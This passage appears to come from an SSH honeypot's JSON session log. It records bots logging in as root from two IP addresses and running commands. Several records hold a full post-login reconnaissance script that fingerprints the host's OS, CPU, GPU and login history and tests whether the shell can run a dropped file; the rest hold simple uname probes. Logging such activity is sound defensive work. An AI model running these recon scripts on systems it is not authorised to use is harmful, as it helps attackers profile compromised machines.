s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:24:55.455138+00:00",
  "ended_at": "2026-08-25T02:24:55.981830+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "f1d4feaf-9f41-4000-af6d-8f273c992917",
  "name": "nameless-idle-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47502,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:24:54.806449+00:00",
  "ended_at": "2026-08-25T02:24:59.691431+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "032d2c73-d095-4c13-9faf-15ca2bbeef1f",
  "name": "orderly-nameless-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 47480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:24:53.407617+00:00",
  "ended_at": "2026-08-25T02:24:58.610324+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "17668ff9-3387-413e-89e1-e2c6b58432ff",
  "name": "sullen-tangled-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 55872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:24:24.208156+00:00",
  "ended_at": "2026-08-25T02:24:28.486471+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "70f97130-6409-4021-a5f9-36608812b176",
  "name": "dutiful-burly-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 48496,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:24:21.406173+00:00",
  "ended_at": "2026-08-25T02:24:24.197421+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8a72652a-897e-48b9-8b47-62c549cabc04",
  "name": "dapper-watchful-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 44248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:24:06.718916+00:00",
  "ended_at": "2026-08-25T02:24:07.465783+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "1cffcdb2-b6b7-4b14-9db2-c27f82d7b841",
  "name": "pleasant-stoic-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 50462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:23:59.620049+00:00",
  "ended_at": "2026-08-25T02:24:03.913363+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "134c6995-7436-4a48-bbca-16b612c4424d",
  "name": "daring-seaward-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 42638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:23:19.590410+00:00",
  "ended_at": "2026-08-25T02:23:20.213559+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "4d8a5988-002b-47cd-8126-cb5a709b0b33",
  "name": "jagged-creaky-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 55630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:23:17.291160+00:00",
  "ended_at": "2026-08-25T02:23:20.901900+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b098b67a-78d9-4ae5-bb04-09d927c1e351",
  "name": "snowy-silent-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 57324,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 240,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:23:03.102906+00:00",
  "ended_at": "2026-08-25T02:23:06.495099+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "49075008-37da-4e51-b90d-0f307734bed7",
  "name": "alpine-sullen-tinamou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 41028,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:22:31.956500+00:00",
  "ended_at": "2026-08-25T02:22:32.423964+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "bbac49e5-7295-4ab5-a8eb-54ba0945d7ba",
  "name": "icy-glacial-oxpecker",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52616,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:21:52.790156+00:00",
  "ended_at": "2026-08-25T02:21:57.210607+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c72ed4aa-7a54-46e3-b862-df449f175f51",
  "name": "jagged-subtle-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 52600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:21:45.594861+00:00",
  "ended_at": "2026-08-25T02:21:49.810855+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "31fc013e-0972-48fc-8d6f-52298a4e2d5d",
  "name": "glassy-lunar-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 39400,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-25T02:21:41.355687+00:00",
  "ended_at": "2026-08-25T02:21:41.932021+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "735f9904-1d4b-4615-b439-436a4091c18f",
  "name": "woven-solar-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 39730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:21:35.013427+00:00",
  "ended_at": "2026-08-25T02:21:40.218999+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a491cb43-be43-434e-80e6-8348a0b8df16",
  "name": "granite-watchful-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "45.153.34.165",
  "src_port": 45814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 224,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-25T02:21:22.898513+00:00",
  "ended_at": "2026-08-25T02:21:26.607357+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25ac8cb0-5a6b-46e3-b5f3-07082e7c135a",
  "name": "rugged-valiant-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "195.178.110.232",
  "src_port": 37758,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; 